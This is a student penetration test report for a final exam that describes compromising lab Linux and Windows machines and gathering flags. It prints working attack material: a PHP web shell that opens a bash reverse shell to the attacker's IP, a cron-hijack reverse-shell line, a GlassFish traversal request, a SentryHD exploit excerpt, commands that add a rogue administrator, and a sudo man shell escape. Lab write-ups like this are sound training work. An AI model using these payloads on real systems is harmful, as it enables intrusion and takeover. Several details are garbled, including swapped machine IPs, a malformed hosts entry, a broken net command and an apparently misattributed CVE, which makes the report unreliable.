Penetration Assessment Report

By: Kyle Totorica
Date: 05/09/25

Table of Contents

---

1. Final Exam Report

Introduction

This report documents the penetration test conducted as part of the final exam to assess vulnerabilities in two simulated environments: A Windows machine (192.168.10.104) and a Linux machine (192.168.10.100). The assessment employed a comprehensive methodology, including information gathering, service enumeration, penetration testing, privilege escalation, maintaining access, and house cleaning. Both operating system (OS) and application-level vulnerabilities were identified, exploited, and documented to demonstrate their potential impact.

Objective

The objective of this assignment is to perform a thorough penetration test on the provided Linux and Windows systems, Identify and exploit vulnerabilities, use real-world exploitation techniques to demonstrate risk, and record all the evidence, CVE links, and possible remediations.

Requirements

- Identify all OS and application vulnerabilities.
- Provide proof (screenshots/logs).
- Include CVE identifiers and exploit references when applicable.
- Include severity scores (CVSS).
- Explain exploitation techniques and fixes.
- Propose remediation techniques

---

2. High-Level Summary

This penetration test successfully compromised both the Linux and Windows machines. Misconfigurations, outdated software, and inadequate access controls created multiple exploitation opportunities. On the Linux machine (192.168.10.104), a reverse shell was established through FTP, privilege escalation was achieved via a cron job, and root-level flags were collected. On the Windows machine (192.168.10.110), credentials were obtained from exposed directories via Oracle GlassFish, and administrative access was gained through an LPE exploit in the SentryHD application. Each system was examined in detail, with vulnerabilities confirmed, exploited, and documented alongside CVEs, code samples, screenshots, and remediation advice.

Recommendations

- Patch Oracle GlassFish to prevent directory traversal (CVE-2017-1000027).
- Restrict public access to FTP login information and apply directory-level restrictions.
- Secure RDP access and remove exposed connection files (rdp_student.rdp)
- Apply all relevant patches to SentryHD software (CVE-2016-3309).
- Lock down cron jobs and enforce least privilege on script directories to prevent unauthorized access.
- Ensure only root can modify /etc/hosts.

---

3. Methodologies

Information Gathering

For the Linux system I began by Identifying the target IP of the system by searching my attacking computer's subnet for other IP addresses as well as testing them until I found the target. I performed a nmap scan which revealed open ports such as port 21 (FTP) and port 22 (SSH). I then used passive recon by navigating around common web paths in order to locate FTP credentials that were not hidden and open the public. For the Windows system I performed the same task in finding the IP address of the system which was 192.168.10.100. I then performed a basic nmap scan to discover the port 4848 was open and running Oracle GlassFish on it.

Service Enumeration

On the Linux machine I discovered that FTP credentials were leaking allowing for the entry into ftp servers with unauthorized access. I also recognized that entry with the credentials allowed for writable permissions. I continued to look around the ftp server where I realized that there was an accessible web directory that would execute a file called shells.php when it was uploaded. On the Windows machine I navigated through the Oracle GlassFish server which was left open on port 4848. I discovered that it allowed for access to file paths with unauthorized access through directory traversal. I was able to retrieve a file that I found on the user's desktop called rdp_student.rdp which contained credentials that could be used to connect to the machine through rdp. I was able to locate this file through using a traversal payload that I found:

```
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
```

This traversal payload that I found online and used allowed me to access any file that I wanted without any authentication.

Penetration Testing

System: 192.168.10.104 (Linux)

On the Linux machine I uploaded a PHP reverse shell script in (shells.php) while I was in the FTP server that I had gained access to.

```
<?php
// PHP reverse shell using bash and TCP
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.1/4444 0>&1'");
?>
```

I found this script to use in my shells.php file online which is used to create the reverse shell. Once it was uploaded to the ftp server, I started a listener in another tab listening on port 4444 and once I navigated to the shells.php path from my web browser, a reverse shell appeared in my terminal granting me system access. From here i upgraded my shell to create a more stable terminal and then navigated through the systems files such as the /home and /scripts directories where i found many of the system and user flags i was searching for

System: 192.168.10.110 (Windows)

On the windows system I looked in the rdp_student.rdp file that I retrieved from the student's desktop and found credentials that I then used to log in via Remote Desktop Protocol. This logged me in with student permissions. Once in rdp I searched through the system and found a SentryHD software that was vulnerable. I looked through it directory and in the directory C:\\Program Files (x86)\\SentryHD\\config.ini I saw that there were hardcoded credentials to the web panel in plain text. I was not able to write directly to this file because of my lack of permissions but I was able to use this later to escalate my privileges.

Privilege Escalation

On the Linux machine I was now in a system level shell where I looked and found that /etc/crontab was executing a script that as every minute passed was executing a command as the user deep that ran a curl command that downloaded the backup.sh file from the path XavierBackupServer.ctf/scripts/backup.sh. To make sure that the URL resolved to my IP address I modified the /etc/hosts file to add the line 1.92.168.10.1

XavierBackupServer.ctf. Next I added in a script to backup.sh containing code to generate another shell. Here was the payload I found online and used.

```
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
```

I copied over backup.sh and made sure it was in the directory /scripts as that was the path that was being pulled from. Next I set up a listener on port 1337 as specified in my payload and when the cron job ran a shell appeared in my terminal that was signed in as user deep. From here I was able to find all the user flags.

On the windows machine, once I was logged into rdp with only system access I searched through the system and found a vulnerable application called SentryHD. Here I found the public exploit (**Exploit-DB ID 41090**) targeting **SentryHD v2.01.12e**. Here is a beginning snippet of the exploit:

```
import ConfigParser
import hashlib
import re
import urllib2
import urllib
from cookielib import CookieJar
import os
import datetime
import subprocess
import time

new_user_name = "hacked"

print "SentryHD 02.01.12e Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

config = ConfigParser.RawConfigParser()
config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')

admin_user = config.get("Web", 'User0')
admin_password = config.get("Web", 'Password0')

print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)

cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())
```

This exploit allowed for the execution of system-level commands through the configuration of the shutdown mechanism. So it triggered a shutdown and when this

happened it allowed the script to execute commands creating a new user. I modified this exploit to run the lines: net hacker1 Passw0rd123 /add and net localgroup administrators hacker1 /add. When this was run it created a new user on the system of username hacker1 and a windows safe password of Passw0rd123 which had administrative privileges. I added a script to a python file and ran it on the student rdp causing a shutdown to begin and for the new user to be created. From here I logged out of the student account and logged in with my new hacker1 account and confirmed that I now had administrator level privileges. In order to escalate to root privileges from deep I noticed that the man command was able to be run without any password needed so I ran sudo man man and once the man page opened I ran !/bin/bash. Once I ran this I had full root privileges where I then easily searched through the system to find the final flags.

Maintaining Access

On the Linux system I maintained my root access that I achieved in privilege escalation by ensuring that /tmp/root.sh was intact. With root privileges I had complete access to everything on the server and could run any command which allowed me to find the rest of the root level flags.

On the Windows system I first confirmed that the script had successfully given hacker1 administration privileges which it had. From here I had access to the entire system and was able to browse files from all parts of the system. I found a Spike Intelligence file in the program files and when I ran it in an administrative powershell it successfully turned off the city's lights and gave me the final flag.

House Cleaning

On the Linux system I removed the shells.php file that I uploaded to the ftp server as well as clearing out all the commands that I ran in the deep and root directories. I also removed all changes that I made to any of the cron files and restored the original /etc/hosts file.

On the Windows system I deleted the hacker1 account that had administrative privileges. I removed the shutdown trigger and the exploit files on the student desktop. I verified that the system was back to the original state

Additional Items

- Key discoveries included MAPI=1 value, hidden flag files, user credentials being obtained, and hardcoded configurations.

- All flag files were catalogued and mapped to vulnerable services.

---

4. Vulnerability and Exploit Details

Oracle GlassFish Directory Traversal

- CVE: CVE-2017-1000027
- Exploit: Exploit-DB 42966
- CVSS: 7.5 (High)
- Description: Oracle GlassFish Server are vulnerable to both authenticated and unauthenticated directory traversal that can be exploited by using a unique HTTP GET request. This is due to insufficient validation of file path inputs.
- Evidence: By using a traversal payload found online I was able to retrieve a rdp configuration file that contained credentials allowing for rdp access to the host.
- Fix: Upgrade to the latest patched version of Oracle GlassFish. Configure more strict access permissions on directories that contain sensitive information and also validate input paths on server side to stop unauthorized traversal of directory tree.

SentryHD Privilege Escalation

- CVE: CVE-2016-3309
- Exploit: Exploit-DB 41090
- CVSS: 8.8 (Critical)
- Description: The SentryHD 2.01.12e software on the windows machine had a logic flaw in how shutdown events are handled. The applications configuration let system level commands be executed using a shutdown handler that ran as SYSTEM. This caused a chance for privilege escalation when the shutdown command script was edited.
- Evidence: After using rdp to access the system and noticing the SentryHD\config.ini file, I found stored credentials. I then used a public exploit which I modified to add an admin user which granted me full administrative access when I logged in to this newly created account.
- Fix: Either update or remove the SentryHD software. If it is a crucial software that must stay, get rid of the ability to execute commands upon a shutdown. Completely restrict writing permissions on any script files.

FTP Login Exposure

- CVE: N/A

- CVSS: 6.5 (Medium)
- Description: Credentials to log into the Linux FTP server were exposed and could easily be accessed through path traversal. This account had write privileges making it possible to upload and execute a PHP reverse shell without any authentication.
- Evidence: I used the ftp account to upload a shells.php file and then executed it by browsing to the web path, triggering a reverse shell.
- Fix: Do not leave FTP login information anywhere that can be accessed without authentication. Make sure that only authenticated users can write on the server. Configure the server to only let file uploads occur in non-executable directories.

RDP File Exposure

- CVE: N/A
- CVSS: 6.0 (Medium)
- Description: Through exploitation of the Oracle GlassFish traversal problem, I was able to access a user's desktop directory and obtain access to the rdp_student.rdp file. This file contained remote desktop configuration and credentials which allowed for unauthorized access to the windows machine.
- Evidence: The rdp file was accessed through HTTP directory traversal and used to gain direct access into the target machine.
- Fix: Important files like rdp connection credentials should not be stored in any directory that is accessible to unauthenticated users. It should instead be encrypted or relocated to restricted areas.

Cron Job Abuse

- CVE: N/A
- CVSS: 7.0 (High)
- Description: The Linux system had a misconfigured cron job at /etc/crontab that allowed the user deep to automatically execute commands from an external source. By creating a malicious backup.sh script via HTTP, I was able to establish a reverse shell giving me deep privileges.
- Evidence: Privilege escalation was achieved once the cron job went off and ran my code contained in backup.sh.
- Fix: Stop the cron job from fetching or executing scripts from unauthorized external sources. Cron executions should only reference local secure scripts.

Hosts File Modification

- CVE: N/A
- CVSS: 5.5 (Medium)

- Description: The /etc/hosts file was modifiable by the user, allowing the change of direction of internal domain names to the attacker IP. This misconfiguration was exploited and could be used for spoofing internal services and to intercept traffic
- Evidence: I modified the file to direct a system domain to my attack box IP which allowed me to intercept internal traffic.
- Fix: Change the ownership of /etc/hosts to root only and make sure that only root privileges can write to it. Could also apply an immutable flag to it to prevent unauthorized modifications and to monitor the file for changes.

---

5. Appendix

Proof and Local Contents

- Flag files from `/scripts`, `/etc`, and `/root`
- Shell outputs (`whoami`, `id`, `hostname`)

Tools Used

- Nmap, Netstat, Browser, Burp Suite, Whois, xfreerdp, exploit-db scripts, python, netcat

Exploit Code Samples

```
<?php
// PHP reverse shell using bash and TCP
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.1/4444 0>&1'");
?>
```

```
config = ConfigParser.RawConfigParser()
config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')

admin_user = config.get("Web", 'User0')
admin_password = config.get("Web", 'Password0')

print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)

cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())
```

```
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
```

Vulnerability Severity Table

Vulnerability	CVE ID	CVSS Score	Type
Oracle GlassFish Dir Traversal	CVE-2017-1000027	7.5	Web App
SentryHD Privilege Escalation	CVE-2016-3309	8.8	Local Privilege Escalation
FTP Config Flaw	N/A	6.5	Misconfiguration
Exposed RDP File	N/A	6.0	Insecure File Disclosure
